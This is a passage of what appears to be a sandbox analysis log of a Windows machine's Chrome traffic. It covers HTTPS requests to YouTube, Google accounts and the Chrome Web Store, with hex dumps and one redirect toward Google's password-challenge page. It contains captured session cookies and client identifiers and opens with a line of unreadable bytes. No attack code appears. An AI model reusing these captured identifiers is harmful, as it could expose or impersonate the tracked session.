79g6uJ.Lj]eBxV*=dKs9_\;6kJZJXaL)s`8l]BTUUhp^P^~#[P"mRUVD%{Ng5wHB%j0EjH\rv}3m6yH`:"4'
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: 87 62 32 ad 16 b1 4d 37 0c 37 ce 44 92 80 64 b9 4c c1 18 74 51 a0 89 67 2d ac 45 21 7a bb c2 23 c9 10 ee 52 b3 2e 87 73 ad 56 bf 48 17 fa fa af 7d 06 6f c4 0a cd da 22 56 ab 15 3a c2 0d 83 92 ce 77 82 41 2d 0a be 19 67 d8 28 7d d1 ea c7 86 74 6c ab 93 91 a4 af 72 36 3a fb 7b fc f8 e5 ee e6 62 fc 78 8b 8f 9f c7 a4 6f fc 0a 44 8f 93 ab e9 f8 e6 6a 74 49 32 bd 3d 47 1a cb a5 ed 9b 49 e2 4b 85 3d 76 6b 31 e4 05 90 3a 6f d4 5b bf 06 29 29 9c 98 5a a3 bf 37 b7 22 a5 1d b2 3d 80 04 95 c2 9a 6b 26 22 99 a7 e9 30 4e 39 16 44 15 55 00 6e 10 04 e0 15 d8 1d b9 96 cc 06 75 54 33 21 13 97 ea eb d5 eb a5 90 c2 ba 5e 41 a2 20 c6 2e 95 76 92 44 10 2c c0 7e 15 f0 0c 7a f2 f9 f6 ac 11 bb 9e 5f a9 cd 53 a5 92 05 56 ed 4e 8b 5a f5 53 2b c9 b5 68 b5 40 ae eb c5 b1 5c b7 32 1e Data Ascii: b2M77DdLtQg-E!z#R.sVH}o"V:wA-g(}tlr6:{bxoDjtI2=GIK=vk1:o[))Z7"=k&"0N9DUnuT3!^A .vD,~z_SVNZS+h@\2
2024-09-28 23:02:30 UTC	1390	IN	Data Raw: fc 25 e0 bb a6 ae 46 a2 de cd df 52 30 36 48 bd 4e 16 5c 87 de 9c 31 9d 27 b6 42 11 a5 14 02 f5 1d e7 11 fc 6e d9 d0 69 5e 79 c9 9d c1 37 43 28 f2 fa 17 01 50 4b 46 6b 25 12 86 b0 0f 48 c3 25 9e b6 88 ae 6e fe 30 9d 17 3a 7a ea 3a 84 61 8b b0 39 17 c8 2c ec 59 d8 25 be bc 12 c8 b0 25 10 32 d5 63 d9 7b 9e a2 c1 92 91 b3 d4 33 f8 84 bf f1 c9 50 ab 76 00 21 46 a8 41 a2 9b bb b0 37 d0 15 3d 87 69 e0 08 56 d8 72 f8 fe 76 0a e1 16 5c 3d f7 c8 35 a4 f3 10 4f f9 e7 f6 fa 2a a0 77 6b b9 10 f3 0d 4d 52 4f 95 fd 12 d1 ea 8a ea 66 50 5e 50 bf a3 0d e1 07 bd 0a b2 3a e0 0e d9 91 18 fe 0f 50 4b 07 08 40 5b 05 b1 83 07 00 00 1a 12 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 00 2d 00 73 77 5f 6d 6f 64 75 6c 65 73 2f 76 69 65 77 Data Ascii: %FR06HN\1'Bni^y7C(PKFk%H%n0:z:a9,Y%%2c{3Pv!FA7=iVrv\=5O*wkMROfP^P:PK@[PK!-sw_modules/view

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49738	142.250.186.46	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:31 UTC	1191	OUT	GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1 Host: youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: YSC=8eeyt93UQAA; GPS=1; VISITOR_INFO1_LIVE=YyP4m5SjozE; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJg%3D%3D
2024-09-28 23:02:32 UTC	1704	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Sat, 28 Sep 2024 23:02:31 GMT Date: Sat, 28 Sep 2024 23:02:31 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script' Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49746	172.217.18.14	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:35 UTC	1209	OUT	GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1 Host: www.youtube.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: YSC=8eeyt93UQAA; GPS=1; VISITOR_INFO1_LIVE=YyP4m5SjozE; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJg%3D%3D
2024-09-28 23:02:35 UTC	1983	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 28 Sep 2024 23:02:35 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script' Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49758	142.250.186.78	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:39 UTC	393	OUT	GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1 Host: chrome.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:39 UTC	1512	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 28 Sep 2024 23:02:39 GMT Content-Disposition: attachment; filename="json.txt"; filename*=UTF-8''json.txt P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Report-To: {"group":"coop_chromewebstore","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/chromewebstore"}]} Content-Security-Policy: script-src 'report-sample' 'nonce-mQ4afAsfb5CKSoSXW0ewuA' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';worker-src 'self';report-uri /webstore/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/chromewebstore/2 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="coop_chromewebstore" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: NID=518=syAm64K8o11NTnNMJFnh8Ljs9ZeH5YvpqMjC4W-Ey07gAPSjlPdsl65AiyNrp4Fg3vr1z2u2iEzP7yD-Lmr-JDaH_zUV6E4eph9CpD-rxYjiFFmSD5L4USjScEknhr5YwCvCjgVC05tyyup8M5xZWEP1YTJHZHZGK63_WwCu6SOxPS2SRFw; expires=Sun, 30-Mar-2025 23:02:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:39 UTC	1512	IN	Data Raw: 31 39 38 32 0d 0a 7b 22 69 63 6f 6e 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 68 33 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 61 71 61 68 47 7a 33 65 75 58 61 64 6d 74 6d 70 38 4e 5a 6e 75 4b 50 6f 55 6d 34 63 6d 65 77 4e 59 30 41 49 31 61 5f 63 4d 73 43 32 38 63 66 76 42 32 42 78 33 4e 41 72 59 39 4d 69 35 30 6f 32 7a 46 34 35 55 68 37 34 52 6d 6d 71 2d 42 68 36 64 4a 52 73 56 41 62 6d 22 2c 22 73 68 6f 77 5f 75 73 65 72 5f 63 6f 75 6e 74 22 3a 74 72 75 65 2c 22 6c 6f 63 61 6c 69 7a 65 64 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 6f 20 6d 6f 72 65 20 69 6e 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 20 77 69 74 68 20 41 64 6f 62 65 20 41 63 72 6f 62 61 74 20 50 44 46 20 74 6f 6f 6c 73 2e 20 56 69 65 77 2c 20 66 69 6c Data Ascii: 1982{"icon_url":"https://lh3.googleusercontent.com/aqahGz3euXadmtmp8NZnuKPoUm4cmewNY0AI1a_cMsC28cfvB2Bx3NArY9Mi50o2zF45Uh74Rmmq-Bh6dJRsVAbm","show_user_count":true,"localized_description":"Do more in Google Chrome with Adobe Acrobat PDF tools. View, fil
2024-09-28 23:02:39 UTC	1512	IN	Data Raw: 36 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 34 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 34 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 31 32 38 5c 22 3a 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 61 63 74 69 6f 6e 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 74 69 74 6c 65 5c 22 3a 20 5c 22 5f 5f 4d 53 47 5f 65 78 74 65 6e 73 69 6f 6e 4d 65 6e 75 54 69 74 6c 65 5f 5f 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 65 66 61 75 6c 74 5f 69 63 6f 6e 5c 22 3a 20 5c 22 62 72 6f Data Ascii: 6.png\",\n \"48\": \"browser/images/acrobat_dc_appicon_48.png\",\n \"128\": \"browser/images/acrobat_dc_appicon_128.png\"\n },\n \"action\": {\n \"default_title\": \"__MSG_extensionMenuTitle__\",\n \"default_icon\": \"bro
2024-09-28 23:02:39 UTC	1512	IN	Data Raw: 6d 2f 2a 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 68 74 74 70 73 3a 2f 2f 77 6f 72 6b 73 70 61 63 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 2a 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 61 6c 6c 5f 66 72 61 6d 65 73 5c 22 3a 20 74 72 75 65 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 73 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 63 73 73 2f 67 64 72 69 76 65 2d 63 6f 6e 74 65 6e 74 2d 73 63 72 69 70 74 2e 63 73 73 5c 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5d 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 6a 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 63 6f 6e 74 Data Ascii: m/\",\n \"https://workspace.google.com/\"\n ],\n \"all_frames\": true,\n \"css\": [\n \"browser/css/gdrive-content-script.css\"\n ],\n \"js\": [\n \"cont
2024-09-28 23:02:39 UTC	1512	IN	Data Raw: 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 67 64 72 69 76 65 2d 69 6e 6a 65 63 74 2e 6a 73 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 73 69 67 6e 49 6e 41 64 6f 62 65 59 6f 6c 6f 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 74 72 65 66 6f 69 6c 5f 32 34 5f 77 68 69 74 65 2e 73 76 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 63 73 73 2f 66 6f 6e 74 73 2f 41 64 Data Ascii: \"browser/js/gdrive-inject.js\",\n \"signInAdobeYolo.html\",\n \"browser/images/acrobat_dc_appicon_128.png\",\n \"browser/images/acrobat_dc_trefoil_24_white.svg\",\n \"browser/css/fonts/Ad
2024-09-28 23:02:39 UTC	490	IN	Data Raw: 6f 62 65 6c 6f 67 69 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 2d 74 65 73 74 2e 61 63 72 6f 62 61 74 2e 63 6f 6d 3a 2a 20 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 2d 74 65 73 74 2e 61 63 72 6f 62 61 74 2e 61 64 6f 62 65 2e 63 6f 6d 3a 2a 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 63 72 6f 62 61 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 6f 62 65 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 6f 62 65 2e 69 6f 5c 22 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 68 6f 73 74 5f 70 65 72 6d 69 73 73 69 6f 6e 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 5c 22 3c 61 6c 6c 5f 75 72 6c 73 3e 5c 22 5c 6e 20 20 20 20 5d 2c 5c 6e 20 20 20 20 5c 22 6f 70 74 69 6f 6e 61 6c 5f 70 65 72 6d 69 73 73 69 6f 6e 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 Data Ascii: obelogin.com https://local-test.acrobat.com:* https://local-test.acrobat.adobe.com:* https://.acrobat.com https://.adobe.com https://*.adobe.io\"\n },\n \"host_permissions\": [\n \"<all_urls>\"\n ],\n \"optional_permissions\": [\n
2024-09-28 23:02:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49768	172.217.16.206	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:41 UTC	1172	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1940882779&timestamp=1727564560082 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:41 UTC	1979	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: script-src 'report-sample' 'nonce-xt3xUJuUsepFtUqKVaXelg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 28 Sep 2024 23:02:41 GMT Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjctDikmJw1ZBikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6yXuy-xXgdi1Z5LrKZAXCRxhbUJiIV4OCZOe7SdTaDjw_lZzEp6SfmF8ZkpqXklmSWVKfm5iZl5yfn52ZmpxcWpRWWpRfFGBkYmBpZGRnoGFvEFBgCQ0DEj" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:41 UTC	1979	IN	Data Raw: 37 36 32 30 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 78 74 33 78 55 4a 75 55 73 65 70 46 74 55 71 4b 56 61 58 65 6c 67 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7620<html><head><script nonce="xt3xUJuUsepFtUqKVaXelg">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-09-28 23:02:41 UTC	1979	IN	Data Raw: 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 37 2e 30 22 3a 61 3d 22 31 31 2e 30 22 7d 65 6c 73 65 20 61 3d 22 37 2e 30 22 3b 65 6c 73 65 20 61 3d 63 5b 31 5d 3b 62 3d 61 7d 65 6c 73 65 20 62 3d 22 22 3b 72 65 74 75 72 6e 20 62 7d 76 61 72 20 64 3d 52 65 67 45 78 70 28 22 28 5b 41 2d 5a 5d 5b 5c 5c 77 20 5d 2b 29 2f 28 5b 5e 5c 5c 73 5d 2b 29 5c 5c 73 2a 28 3f 3a 5c 5c 28 28 2e 2a 3f 29 5c 5c 29 29 3f Data Ascii: \d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s(?:\$(.?)\$)?
2024-09-28 23:02:41 UTC	1979	IN	Data Raw: 6e 75 6d 62 65 72 22 3a 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 61 29 3f 61 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 69 67 69 6e 74 22 3a 72 65 74 75 72 6e 28 41 61 3f 0a 61 3e 3d 42 61 26 26 61 3c 3d 43 61 3a 61 5b 30 5d 3d 3d 3d 22 2d 22 3f 75 61 28 61 2c 44 61 29 3a 75 61 28 61 2c 45 61 29 29 3f 4e 75 6d 62 65 72 28 61 29 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 72 65 74 75 72 6e 20 61 3f 31 3a 30 3b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 69 66 28 61 29 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 69 66 28 43 28 61 29 29 72 65 74 75 72 6e 7d 65 6c 73 65 20 69 66 28 46 61 26 26 61 21 3d 6e 75 6c 6c 26 26 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 Data Ascii: number":return isFinite(a)?a:String(a);case "bigint":return(Aa?a>=Ba&&a<=Ca:a[0]==="-"?ua(a,Da):ua(a,Ea))?Number(a):String(a);case "boolean":return a?1:0;case "object":if(a)if(Array.isArray(a)){if(C(a))return}else if(Fa&&a!=null&&a instanceof Uint8Array)
